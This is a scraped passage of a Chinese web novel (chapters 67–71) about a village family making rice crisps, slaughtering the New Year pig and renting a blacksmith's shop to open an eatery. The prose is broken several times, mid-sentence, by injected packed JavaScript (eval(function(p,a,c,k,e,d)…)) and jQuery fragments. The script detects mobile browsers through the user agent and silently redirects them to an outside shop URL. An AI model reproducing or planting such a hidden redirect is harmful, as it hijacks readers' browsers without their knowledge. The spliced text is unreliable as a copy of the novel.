0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064864|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服的时候还冷,但一进入水里面就暖了,更何况还被太阳晒着,更舒坦了。李兰香怕水不够,又想让她们多泡泡,提了一桶滚水放边上,只等水温一降就续进去。 “哎哟,在洗澡哇!” 葛月红过来串门子,见到宝珍宝珠浸在水桶里,立马撸起袖子来帮忙。 “啊!好痛!”宝珍宝珠被弄的怪叫。 两妯娌一人捉住一个搓灰泥,这次因为落雪,姐妹俩七八日都没洗澡了,身上积的沉垢可多,随便在哪处使劲一搓,就能滚出灰条子来。 葛月红捏住宝珠的小藕手,爱的不得了。这白白嫩嫩的闺女就是好哇,哎哟,软乎乎的,跟豆腐做的一样,看着、摸着都水灵。 再想想自家牛蛋,冬日里跟个脏鬼似的,身上一股子淋了雨后的小鸡味,熏人的很,还死活不肯洗澡,每日里连洗脚都是沾下水就穿鞋跑了,睡的床跟狗窝似的,想到就来气。 葛月红边给宝珠洗澡边与李兰香说八卦:“诶,你晓得不,那个赖老娘最近发大疯,说是大癞痢头落雪那日把小癞痢头送到县城凤仙那儿去了,哎哟,日日在家骂人嘞,可难听!” 在洗澡的三母女愣住,李兰香率先回过神来,假装不知情地问道:“那天康哥还在我家吃饭呢,大癞痢头怎么会送他去县城,咋个送的?” “不晓得。”葛月红摇摇头,继续说:“好像是那日中午他们母子拌了嘴吧,反正隔壁人家听到赖老娘骂大癞痢头,估计是平日里挨他娘的骂挨多了,终于忍不了,就想法子气一气他娘呗。” “听说赖老娘一个下午都不见大小癞痢头,晚上大癞痢头回来,才晓得自己孙子被送走了。” 李兰香追问:“那她能罢休?不追去县城找凤仙呐?” “怎会不找!”葛月红一拍大腿,跟说书似的,“你是不晓得那天晚上,赖老娘又哭又叫,还使劲扇大癞痢头巴掌呢,说他不孝顺,叫他趁夜走去县城,硬要把孙子接回来呢。” “没想到大癞痢头躲都不躲,赖老娘气得没办法,就躺在雪里头打滚,大癞痢头拖抱进屋子里了还要再跑出来撒泼,结果把自己给搞病了,现在躺在床上吃药呢。我估计,等她病好了,肯定还要再闹上一通的。” 听完话,三母女偷偷对个眼神,李兰香不由得笑起来,病了好哇,这病去如抽丝,若是风寒重一些,过上半个月才好也是正常的,到时候康哥也回来了,赖老娘就没法去闹了。 晓得自家不会被找麻烦了,母女三人心情放松,开心的不行。 等把身上的泥垢全搓干净,李兰香快手快脚地把桶子里的水淋进来,给两姐妹洗了个头,然后再赶紧用布巾包住脑袋,擦干身子,拿被褥包起来,抱两姐妹坐到火笼子上去。 宝珠被葛月红抱坐在怀里,亲了又亲。瞧这红扑扑的小脸蛋子,闻起来香香,抱起来软软的小闺女,葛月红真是叫一个稀罕呐。若是能换,她倒真想跟李兰香调个个儿,她来生女儿好了。 67. 米花糖 大晴过后又开始下冻雨,一下便是好几日,南方的冬天就是这样的,常常阴雨连绵,温度骤降,下雨时的那种湿冷仿佛能透进人的骨子里。 这种时候,人们没什么事要做,几乎不会出门。地上烂泥糟糟,和着冰棱子,稍不注意就容易滑一跤,若是搞脏了衣裤更麻烦,这种天洗了也干不了。 每日里家里人换下来的衣服鞋袜,李兰香都是洗了后直接放在火笼子上烘干的,还要让宝珍宝珠盯着,不时给它翻个面,否则衣物烘过头,很容易变得焦黄发硬,穿着不好看、不舒坦。 宝珍和宝珠围坐在火笼子旁,她们畏寒,这里有热源,会暖和些。两个人在灰堆里埋了鸡蛋和番薯,只等煨熟就能吃了。不知为何,冬日里明明没怎么动作,偏还比夏日更容易饿一些。 摊在火笼子上的湿衣物冒着白烟,宝珠好奇,时不时就要用手把它扇散,不过瞬间,白烟又袅袅升起,宝珠便再扇,与它玩的不亦乐乎。 宝珍在旁盯着,见衣裳的一面烘干,就把另一面翻过来再烘。 下午,孙婆子与葛月红带了一袋子糯米与饴糖块来,准备在这儿一起做过年待客用的米花糖,宝银也跟在后头一块儿来了。 宝银围到妹妹们旁边烘手,还没等烘热,葛月红就使唤他:“牛蛋,你去把饭桌的两个抽屉抽出来,抬去井边洗干净。” “晓得喽!”宝银不开心地应了,嘟嘟囔囔:“我娘就是见不得我闲,真讨厌。” 宝珍适时开口:“二哥哥,我跟你一块去吧,我帮你撑伞。” 于是宝银把饭桌的两个抽屉卸出来,一手提溜一个,宝珍把伞撑开,举得高高的,两人一同去了井边。 刚出门,冷冽的空气袭来,宝珍举着伞的小手不一会儿就被冻红了,宝银也冷得慌,一个劲儿缩着脖子,生怕冷风灌进去。 宝银先打了井水倒在抽屉里,然后再用干丝瓜瓤狠狠刷洗,这抽屉洗了是拿来装刚做好的米花糖,给它塑形的,所以得好好洗干净。 灶房里头,孙婆子负责烧火,葛月红与李兰香就炸米花。炸米花需用阴米,就是先将糯米煮熟了再阴干,这样的米才会爆米花出来。 李兰香倒了半壶油进锅,等孙婆子一烧热油,就把阴米倒进去不停翻动,让米能均匀受热,炸开米花。炸好的米花用竹笊篱捞出来控油,李兰香共做了三锅,这才停手。 炸米花剩的油,李兰香把它炒熟花生与芝麻盛起,然后敲碎麦芽饴糖放进油锅里,小火熬成粘稠的糖浆。 宝银和宝珍此时洗好了抽屉抬回来,接着用布巾擦干抽屉上的水分,放置在风箱上等备用。宝银看到案板有残余的碎饴糖块,抬眼见大人们没注意,赶紧抓了一把,拉着宝珍走了。 饴糖块是麦芽做成的,平时吃不到,因他们这儿不产麦子,要专门去买才行。买来的麦芽饴糖都是很大一块,颜色乳白中带点微黄,质地生硬,就像是一团白色的石块。 宝银把碎饴糖块分给宝珍和宝珠,三个人先将糖块放嘴里用口水浸湿,等它变软些后才能嚼动。麦芽饴糖甜蜜好吃,只有一点不好,太过粘牙,粘在牙齿上,用舌头都剃不下来。 李兰香盯着锅,糖浆熬好后会冒出绵密的小泡泡,趁这时把炸米花与芝麻、花生一同倒进去,迅速地翻拌,直至它们全部裹上糖浆,然后拿锅铲铲起来,装进抽屉里面。 葛月红也早准备好擀面杖,趁着米花糖还软和,赶紧将它们压实,利用四四方方的抽屉来整形,最后倒扣抽屉,把压好的米花糖倒出来。 米花糖要趁热切块,若是等它凉了就会变脆,切块会散。葛月红下刀迅速,不一会儿就把整块的米花糖切成均匀的薄片,切好后的米花糖不能急着装罐,会粘在一处,需等它冷了才行。 三个娃娃吃完糖又围到灶房来,眼见着葛月红把米花糖给切好了,连忙追问:“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13082038|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以吃了么?” “先拿一块吃吧。”葛月红答应了,又讲道:“现在还软着呢,不好吃,要等凉了才会脆。” 不过娃娃们可不在乎这些,闻到甜香的味道就馋了,一人捏了一块吃。 热乎乎的米花糖容易变形散开,咬进嘴巴里也是软软的,口感虽差些,味道还是一样好吃。 等米花糖放凉,孙婆子一边装罐一边也拿了一块品尝,嗯~香甜酥脆,咬起来“咔嚓咔嚓”的,是过年时亲戚上门做客最喜欢的饭前零嘴。 米花糖装了罐,孙婆子与葛月红不着急走,便一同围坐在堂屋里暖手说话。 “你上次去县里是去瞧铺子么,瞧得咋样?”这是孙婆子在问。 李兰香摇摇头:“还不行,瞧了三间只有一间比较符合的,偏偏租金太高,一月要七两银呢,实在租不起。” 这倒是,他们庄户人家哪有那么多积蓄,一月的租金七两银,有些人辛苦一年都挣不到呢。 孙婆子拉过她的手,拍一拍,“不着急,慢慢找,要实在找不见,咱们就还跟以前一样,闲的时候操持家里,连带接些酒席做嘛,小钱也是钱,能攒就攒。” “要不然整个摊子呢?”葛月红在旁边出意见。 摆摊子其实也可以,只是能做的食物太少了,大多都是做饼、包子、馄饨之类的小食,展开不了手脚。而且摆摊子太受天气的影响了,特别在南方,春冬两季雨水多,一下雨就出不了摊,只能呆在家里。 依照李兰香的想法,那还是有个铺子更好,能遮风挡雨,而且她做菜样比较行,另外有固定的铺子,食客更愿意上门,回头客也会多起来。 “再说吧。”李兰香笑一笑,“先好好过完年再看。” “我跟县里的牙人说好了,若是有合适的铺子,他会来栗花村找我们。” 这个时候李兰香还不知道,她心心念念的铺子,马上就要出现了。 68. 杀猪饭 到了年尾,村里头养了猪的人家纷纷开始杀年猪,准备过个肥年。 老宅孙婆子养了半年多的猪已经可以出栏,她早早请好了杀猪匠,排了好几日,总算是轮到了自家。 罗水林换上旧衣裳,要去帮忙抓猪。李兰香本也要去的,只是怕宝珍宝珠要跟,到时候杀起猪来血淋淋的,会吓住,便没有过去。 到了老宅,罗老头和大哥罗水森同样是一身破烂袄子,杀猪匠就蹲在院子门口抽着水烟,正在等他。 见到罗水林来,罗老头赶忙招呼:“诶,到了到了,咱们动起身来吧,现下早杀了,好做杀猪饭。”于是杀猪匠就搁下水烟,与罗家父子三人一同进到猪圈里头抓猪。 养的家猪虽比不得野猪凶猛,但体格子在这儿,近两百斤的生猪受了惊,生冲猛突起来,撞到人身上也不是件小事。好在杀猪匠跟罗老头经验足,一边吆喝驱赶一边指挥,那猪嗷嗷嚎叫不止,逃窜躲避了一阵,消耗不少体力后,四人上手便容易许多。 趁猪松懈,罗水林在前头揪到它两只肥耳朵不让它乱跑,罗老头和罗水森则跃起半骑在猪背上,用身子压住它,杀猪匠就趁此机会,把藏怀里的绳绊拿出来,牢牢捆住猪的两只后足。 父子三人见了,让开身,那只猪想挣扎着跑,偏蹄子被束缚,一跑就摔在地上,于是杀猪匠又将它的前足一同捆了,然后用长扁担竖着插到被捆住的前后足中间,要罗水森和罗水林担猪出圈,去到院子里杀。 宝银在外头看的热血沸腾,不停指挥,给他爷和叔出主意,他也想进到里头去帮忙抓猪的,葛月红就骂他:“还以为是好玩哦!人都没猪重,等下进去被猪铲翻,踩得你肠子都要出来。” 虽然被自己娘骂了,宝银还是欢快的很,看到猪出圈后,罗老头另拿了两根长竹竿架扁担下面,见杀猪匠上大秤砣要给猪称重,连忙问:“多重多重?”要晓得,这个猪平日里他喂的最多呢。 罗老头眯起眼睛来看大秤上的刻线,瞧清楚了,便高兴地道:“一百九十八斤,比去年养的那头猪,多了足足十斤肉。” “是我今年喂的好!那牛的草,我都要分一些给它吃呢。”宝银作认真状,被葛月红在后面笑着拍了一掌,“你还真会邀功。这是你阿嬷会养,猪食都是你阿嬷熬的,你就提个桶子倒猪食,你还揽上功了哈,脸皮羞不羞。” 众人听了哄笑起来,气氛一片欢乐。 歇一小会儿,罗家两兄弟又把猪抬到架好的板子上,这是要正式开始杀猪了。 杀猪匠取出带的家伙什儿,先拿出一把尖刀直直捅到猪颈处,那儿有猪的大动脉,捅穿再抽出刀,大股大股的血就喷出来,淋到地上放置的盆子里头。 那猪原先还嚎叫,慢慢声音就弱下去,哼哼唧唧,过一会便彻底没了声响,只有身体还偶尔动弹一下。 宝银瞧着有些不忍,毕竟养了这么久呢,心道:幸好妹妹们不在,要不然肯定会哭。 接完血,葛月红把它端去灶房等凝固,孙婆子此时也烧好了水,拿壶装过来淋到猪身上去,这是要开始刮毛了。 后面全是杀猪匠的活儿,只见他套上个黑围裙,上头不晓得溅了多少只猪的血上去,黑的地方一块深一块浅的。他吐两口唾沫到掌心,互相搓干了,就另取一个瓦片状的刮毛刀出来,顺着猪身就开始“咵哧咵哧”刮毛。 大家伙儿都离他远远的,因被浇了热水,生猪的臭气一下子散开,且放了血,腥味儿重,整头猪周遭哄臭哄臭的。 刮完了猪身上的毛,杀猪匠开始一一将猪分解。人都说“庖丁解牛”,古时候杀猪也是一门好手艺,须得专门拜师学的。旁的人不懂猪的构造,卸猪可没这么利索,杀猪匠专门学过,就连膝骨都卸的轻轻松松,整头猪蹄髈归蹄髈,肋排归肋排,板油归板油,一一给分解的清清楚楚。 不到一个时辰,猪便被杀完了。罗老头请杀猪匠留下来吃饭,他不肯,现年下要杀猪的人多,他一日要去好几家呢。于是孙婆子便给了他几条好肉,一些下水,结好工钱后,杀猪匠就收拾东西走了,准备赶赴下一家去。 分解出来的肉,孙婆子把它们挂起来,有一些是拿来做吃食,或者腌制备用的,还有一些,便打算等吃过了午饭后,叫罗老头快步进城里去,送给女儿水花家。 杀了年猪要吃杀猪饭,孙婆子和葛月红把盆子里凝固好的猪血划上几刀,切成小方块,又另剁了肉碎来,准备中午做猪血汤吃。 新鲜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116728|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪血十分滑嫩,孙婆子拿油炒香姜丝和蒜末,然后添水烧开,先下入肉碎煮熟,再放下猪血进去,略煮上一会儿便能熟,出锅的时候,滴一些麻油增香,撒葱碎就行。 因上午杀猪耗时多,午饭便吃的简单,猪血汤泡饭同样能饱足肚子。孙婆子盛出一盆血汤,叫葛月红分到邻里人家,又让宝银去叔家喊李兰香她们过来吃饭。 宝银和大人们在拿水浇地,冲干净地面上的血,听到阿嬷吩咐,立马把盆子一丢,应和道:“好嘞!”然后一溜烟摔门跑了。 家里面李兰香在鸭棚外头看自己养的鸭子,心里不禁发愁:眼看着年要到,这鸭子本就是买了养大杀肉吃的,但现在只要开玩笑的一提这桩事,两个女儿就与他们夫妻俩闹脾气,不准他们动手,这可咋办好,难不成要养这几只鸭子到老哇。 听到宝银跑过来吆喝她们吃饭,李兰香摇摇头放下这件事,锁门带姐妹俩跟宝银到老宅去。 午间吃饭其乐融融,宝珍宝珠跟猪又没啥感情,听到猪被杀了,依旧乐乐呵呵地吃肉去,完全没一点惋惜,只有宝银一边吃着香喷喷的猪肉,喝着猪血汤,一边在心里头跟猪说对不起。 下午罗老头和罗水森去城里送猪肉,家里面剩的几个就处理猪下水,把那些个猪的心、肝、肠、肺一一拾掇好,准备晚上做顿大餐。 孙婆子把剁下来的猪头燎了毛,拿刀仔细刮干净,又把猪舌头切出来,留到晚上炒菜吃。处理好的猪头,先剁成两半焯了水,又另添清水和大料去烀,炖上一个下午,把猪头煮烂糊,能用筷子轻轻一插就进,便是做成了。 等到晚上吃晚饭的时候,切下来的猪舌头用大蒜苗和辣椒爆炒了,猪心片好,加干莲子、红枣、桂圆肉和黄芪,一同炖了个猪心汤。另外的猪肝和猪肺卤好,切一切能吃得好几日,猪肠拿来红烧,做了个红烧肠结。 菜全部端上桌,全是荤肉,只有一道清炒白菜是素的,整个老宅里面,都充斥着浓郁的肉香,馋人得紧。 一大家子人都坐上桌来,罗老头舍不得开女儿水花今天拿给他的松花酒,就泡了米酒装壶里,倒给儿子儿媳们吃。 大家开了一阵玩笑,正要动筷子,门外头就传来声响,有客上门了。 69. 客上门 冬日里天暗的早,外头一片黑黢黢,照常理来说,这么晚了,邻居村人应当不会来串门子。 有人叩门:“罗家的,开开门,有人来找。” 听这声,是村里人。于是宝银跑去开门,没想到来人居然是蒋多福。 “哎哟李大姐,你家也太难找了吧。”蒋多福踏门进来,把风帽从头上扯下来扇风,抱怨道:“我过来你们村上,问了人去到你家里,结果铁将军把门,家里头一个人都没有,搞得我又再问,才顺利寻来,这么冷的天,我衣裳都汗湿了。” 李兰香真是意外之喜,蒋多福寻来,若不是处理公差,那不就是她的铺子有消息了么,于是惊得一时都发不出声,半晌才找回舌头:“对不住对不住,多福兄弟,你怎的这么晚来,是城中有什么事项么?” 领他过来的村人帮他把驴子牵进院落,拴在树下,然后招呼一声便溜走了,跟过去的孙婆子留都留不住。 “还能为啥事!不是你说的,帮你留意县城的铺子么?”蒋多福大喇喇地拉过条凳坐下,巡视了一遍桌上的菜,两眼放精光,“这这这……来的早不如来的巧哇,我下了值就跑来了,还没吃晚饭呢。” 他正说着,肚子恰巧就“咕噜”两声,旁的人听的清清楚楚,他也不尴尬,嘿嘿笑着说道:“你看我这人多讲义气,就我给你带的消息,应当值一顿饭吧。” “值!当然值!”还没听得消息详情,李兰香便满口应和,就算蒋多福给她寻的铺子后边不合心意了,但冲人家这么放心上给她办事情,那就值得她感谢。 “来,官爷,用这副碗筷吃。”葛月红一见到熟人蒋多福,就到灶房给他找出一副没用过的新碗筷来了,殷勤地给他摆上去。 “谢谢嫂子!”蒋多福可高兴,看着桌上的菜色,满意的不得了,招呼众人:“快坐快坐,吃起来嘛。” 家里人除了李兰香与葛月红,再加上三个小的,其余人都对蒋多福不算熟,且罗老头和孙婆子更是没见过,他们对当官的天然有敬畏心,更是显得拘谨。 听到蒋多福招呼他们坐,便僵硬地坐下了,倒显得蒋多福好似是这个家的主人。 蒋多福是真的饿坏了,他本就年轻,吃得多消得快,一坐上桌,拿到碗筷,手就往最中间的猪头招呼,用筷子夹下一大块猪脸颊肉塞进嘴巴里,嚼了几下就吞下肚,再美美啜饮一口罗水林给他倒的米酒,叹道:“痛快呀!” 太久没吃到李兰香的手艺,还真是想的慌。 宝珍宝珠年纪幼,就没给她们倒米酒喝,只各盛了一碗猪心汤。宝珠见他吃肉喝酒很是豪爽,便也指挥起爹娘来,她也要吃大肉喝米酒。 “哎哟乖乖,小孩子是不能喝酒的知道么。”蒋多福吃过一阵,解了饿劲,动作慢下来,听到宝珠讲也要喝酒,于是坏笑着骗她,“娃娃喝了酒,脑子就要糟,以后数不清数。” 骗完宝珠,又转头跟李兰香和罗水林讲话:“李大姐,你交代的铺子我给你找好了,明日我不值班,便直接带你们夫妻去看。” 两夫妻自然满口答应,李兰香又问他:“多福兄弟,那个铺子咋样,是什么情况?” 蒋多福边夹菜吃饭边回应她:“好着呢,门头对街,在杂货匠炉那一道街上,铺面不算大,不过也能摆六张桌子,以前是个铁匠铺,店家手艺不好开不下去了,就将铺子转让出来。好处是一月租金只要四两银,你要是嘴巴子利索些,估计还能压压价;坏处嘛,那就是得重新装潢一遍,可能需多花些钱。” 李兰香心怦怦跳,不知为何,她总觉得这次事能成。 虽还未亲见铺子的样貌,但是嘛,她想要的门头对街、铺面合适、价格恰当,这三样便全部符合了。而且在杂货匠炉那道街上正好,酒楼饭馆街上的租金绝不止这点,她本来也不打算做那些个达官贵人的生意,就普普通通的平头老百姓、脚夫、担货郎之类的能进门吃饭就行。 “那倒正是合适。”罗水林也觉着不错,又想到一桩事,“明日去见了,若是铺子合适,便得立马租下么?” 这个问题问的巧妙,因现在正年边,过年时候人人需要走亲访友,没法装潢,若是立马租下,不得白白浪费半个多月租金么。 蒋多福同样想到了这一遭,给罗水林递个赞许的眼神,夸奖道:“罗大哥想的周全。我问了,那铁匠铺子年前一直没转出去,就又续了一个月的租金,要到年初八才到期呢,这个点儿,你们恰好能开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122385|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始动手,也不会多掏钱。” “哎呀!”葛月红在旁边听得拍手,高兴地道:“那真是太合适了!” 宝银同样开心,要是以后婶婶去城里开铺子了,他不就能经常找借口进城玩么。 只有宝珍宝珠有一点不开心,若是李兰香去城里头了,听阿嬷说,可能要隔日才能回家一趟,毕竟离得远,日日赶路太累了。当然,她们心里头也清楚,这是娘亲为了给家里赚钱没办法,所以,不开心也只有一点点而已。 孙婆子和罗老头向来是支持儿子儿媳们上进的,且老幺家里不同别家,他们以后只能靠两个女儿,也就是宝珍与宝珠了。现在趁人年轻,娃娃还小,多攒些家业总是没错的,以后等她们长大,不管是招上门女婿也好,还是像老大罗水林说的可以立女户也好,反正只要手上有了钱,就有了底气,总比贫苦人家筹算多些。 罗老头见这个小官爷年轻面善,人又亲和,便放下心防,也不怕了,偷偷到自己房里头拿出藏在箱子里,今日女儿水花刚送的松花酒来,要开封了倒给蒋多福喝。 “老丈不可!”蒋多福赶忙阻止,他又不像他叔那般好酒,还是桌上的菜更吸引他。 “我就爱喝咱家米酒,甜滋滋的。你这酒我喝不惯,你还是自个儿留着吧。”他眼色好着呢,这个酒一看就贵,说不定人家是留着过年要待客用的,他咋能喝。 罗老头本来还有些肉痛,一听蒋多福竟然这么不识数,不喜欢喝好酒,偏偏喜欢喝他们乡下人自己酿的米酒,于是心里头一边觉着庆幸,一边又暗暗埋怨蒋多福没眼光,用布巾重新把松花酒包好了,放回房间箱子里。 “我也觉着米酒好喝。”宝银笑嘻嘻地应和,他以前偷尝过阿公的松花酒,辣辣的割喉咙,一点也不好喝。 他双手端起碗来,效仿戏文里头的那种大将军,瞪着眼睛严肃道:“蒋大哥,我敬你!”然后把碗里的米酒一饮而尽。 “哈哈哈哈哈……”一家人被宝银笑翻,蒋多福笑过后,也认真起来,两个人一大一小,就在桌上拼起酒来,喝的肚子滚圆。 因明日要带李兰香和罗水林去县城看铺子,当晚用过饭后,蒋多福是睡在罗家老宅的,一夜好眠。 70. 租房 第二日起早,李兰香与罗水林收拾齐整了,蒋多福都还与宝银睡着,中间罗老头去瞧过几次,这哥俩互相搂抱睡得正香。想着蒋多福是客,且今日只要进城看铺子,应不需花费太多时间,便由得他们睡,自家先吃早饭。 这个觉一睡,硬是睡到巳时才醒,家里人不仅吃过了饭,就连活计都做过了一轮。 蒋多福颇有些不好意思,本来还想早些带人进城的,就怪昨晚的米酒,一开始喝还好,只觉得它像是普通的甜饮子,没想到后劲这么足,喝到后头整个人都迷瞪了,洗漱都是罗水森带着指挥的,叫他和宝银做啥就做啥。 锅里的饭一直给他们热着,孙婆子见人起了,就给端出来,菜色有昨晚剩的猪头肉,还有今早蒸的咸肉、腌的腊八蒜,以及用切作丁的豆腐干与蓬蒿拌一起的凉菜。 昨晚喝了酒,今早便想用些清淡的,于是蒋多福没吃米,就喝了一碗番薯稀饭,配着腊八蒜和凉拌蒿菜吃。 宝银同样起了,见到蒋多福端了粥蹲在檐下吃,也去盛了碗饭来,紧挨着他蹲下。 “蒋大哥,你昨晚有没有被鬼压床?我昨个晚上睡到半夜,梦见有一只长手长脚的鬼,把我的脖子和腿都给勒着,动都动弹不了。”宝银边往嘴巴里扒饭,边跟他的好大哥分享。 蒋多福听了,嫌弃地白他一眼。这小子还敢讲被鬼压床,昨夜里睡着睡着,宝银就滚进他这边被子里,睡得四仰八叉的,本就不大的被子,被他撑得到处灌风。后边蒋多福遭不住,只好拿手脚困住他,勒着不让他乱动才好些。 “鬼压床个头。”蒋多福拿筷子在宝银头上敲个响栗,“你身上一股狗味,有鬼都被你熏跑了。” “嘿嘿嘿……”宝银厚着脸皮笑,又拉拉他的袖子:“蒋大哥,你今日和我叔婶进城,能不能带上我呀,我想去瞧瞧我大哥了。” 宝金自从中秋回了一次家,已经隔好几个月没见着人,宝银虽然的确是想他,但更多的是拿自家哥哥来做筏子,就是想去城里耍,毕竟快要过年,宝金也要回来了。 不过蒋多福可不晓得他心里的小九九,略思考一会儿,便答应了。 宝银去县城,宝珍和宝珠知道了,那肯定也是要闹着去的,于是最后走的时候,蒋多福带着宝银坐驴子,罗水林和李兰香就推车子,带上家里两个小的,一同走去县城。 到城里后,先将几个娃娃送到钱家绣庄,宝金见了家里人来,欢喜的不行,满口答应会照顾好弟弟妹妹们,还向绣庄告了假,要带他们去街上玩乐,叫叔婶放心忙铺子的事。 两夫妻跟着蒋多福去看铺子,那个要转让的铁匠铺的位置就在绣庄隔壁街上,几人穿过人流绕过去,走到正街,没过一会儿就见着了铺子的身影。 铁匠铺的门头较小,不显眼,灰扑扑的,顶上挂了块匾,用金漆写着“江家打铁铺”,上面的字迹经过常年的风吹日晒,已经失去原有的色泽,变得斑驳。 李兰香有些失望,觉着这门头太小,不过一踏入铺子,倒是被惊讶住。 铁匠铺子里面同样是灰扑扑的,甚至因为要日日燃炉子打铁,整个墙面被火舌燎熏的焦黑,炉子旁边各种铁器散落一地,墙角堆着柴火与黑漆漆的煤块。 但是呢,它里面居然比外面门头宽敞许多,应是砌的墙往隔壁铺子外扩了些,能并排放下两张长方桌,中间还能留下容许三人并行的过道,而且里面极深,可以另砌道墙,隔开做饭的灶房和客人用餐的区域。 最重要的是,打铁要用大量的水冷却,要知道,若是在县城里自家没打井,那所需的水,通通是要拿铜板买的,这铁匠铺子肯定有考虑到这一层,因此在灶炉后头靠门尾的位置打了一口水井。 打铁的江家夫妻操着一口邻府土话,热情地向他们介绍:“这井可是我们六年前开铺子时,花了四两银子打的,从没断过水,而且水质好、味道甜,你们若是租下来,就晓得我绝对没夸大。” 他们还不晓得李兰香是想做食铺,只单纯与其介绍:“你们无论是想开啥铺子,总也得用水吧,这口井打了,你们都不需另花钱买水喝,能省下不少钱呢。要是你们实在嫌弃它不美观,租下来,我们也能帮你填上,只是……有些可惜哈。”江家夫妻呵呵笑着,样子有点憨厚。 李兰香听完先不做声,上下左右仔细巡视一番,瞧到后门那儿竖了张梯子,于是走过去细看,发现梯子上方有块盖着的木板,于是问道:“这梯子是做什么的呀?” “是拿来上二楼的。”江家婆娘告诉她。 这倒奇了,之前铺子的东家跟蒋多福说的时候,可从没听到说这屋子还有二楼的。 “我们见这屋子屋梁高,就担了几根圆木,搭到两边墙里头,然后铺上板子并围起来,便成了二楼了,平日里我跟我男人就是住楼上的。” 蒋多福三人对视一眼,见到彼此眼睛里的震惊,不由得失笑,这江家两夫妻为了省点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128082|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子钱,又打井又搭房,还真是挺有头脑的。 几个人一一登梯子,翻开盖着的木板,上到二楼来。 二楼的空间不算大,略显逼仄,采光也不好,有些昏暗。罗水林的身量高,站在里头只差三寸就能顶到瓦片,里面没有放架子床,铺盖都是随意摊在地上的,用竹编的席子垫着,只在靠墙面的位置放了两只箱笼拿来装衣服,除此之外,什么东西都没有。 江家婆娘绞着手,有些不好意思,“早上起的急,没给叠起来,这倒叫你们瞧笑话了哈哈哈……像猪窝似的。” 李兰香瞧遍了所有,心里做下决定,这铺子她一定要租下来! 门头不显眼,铺面环境差,这都是次要的,反正都要修葺,倒不如全部翻新一遍,整的它漂漂亮亮。而且她想要的住所居然也被一并解决了,虽然这二楼不像样子,但只是晚间睡个觉就能多省下一笔钱,怎么算都划得来,还有一口她想要的水井,开食铺可离不得水。 心定下便可以谈交易了。他们租房不是与这江家两夫妻租,而是要去找这个铺子所属的东家商谈,这一道流程,还是要经过牙行的手。 罗水林上次已经与牙人打过交道,且当时与那牙人有过约定,所以此番还是找的他。 午间两夫妻请蒋多福与牙人,再带上家里宝字辈的四个娃娃,一同去酒楼吃饭。宴席上,仗着蒋多福是衙役的身份,上道的牙人立即表示,会与东家尽量压价,争取给他们再降些租金。 吃过饭后,牙人自去寻东家来商谈,铺子东家许是嫌弃那打铁的江家夫妻把他的铺子搞得腌臜,急于出手,毕竟这铺面三月前就挂在了牙行,但无一例外没人愿意接手,所以现下碰着愿意转租下铺子的罗水林和李兰香,就连他们提出的,低于市价每月三两半银子的租金都能接受了。 李兰香本还想要他再降些,东家便不肯了,他又不是傻的,愿意降租金只是因为不想自个儿去处理烂摊子,若是想提租金还不易么,只要花费点心思,修葺一番便行了。 两厢争论下来,最后还是以每月三两半银子的租金定下,然后在牙行相互签了契,盖了章,给了定金与头月的租金,这才算完事。 拿着手里头刚签的赁房契约,李兰香头都晕乎乎的,没想到自己心心念念开铺子的想头居然真的实现了。 她捧着宝珍与宝珠的笑脸,狠狠地啾了两口,雀跃道:“乖女!看娘以后怎么大展身手,给你们挣大钱!” 71. 小年 签了契,明年开食铺的事情便定下来,李兰香一得空,就绸缪着,要如何如何修葺那房屋。 首先,熏黑的墙面更改麻烦,宝珍便建议她,何不效仿山上的外祖家,用破开的竹子做装饰,钉在墙上平铺开来,既能遮住不雅观之处,同时也显得质朴、简洁。 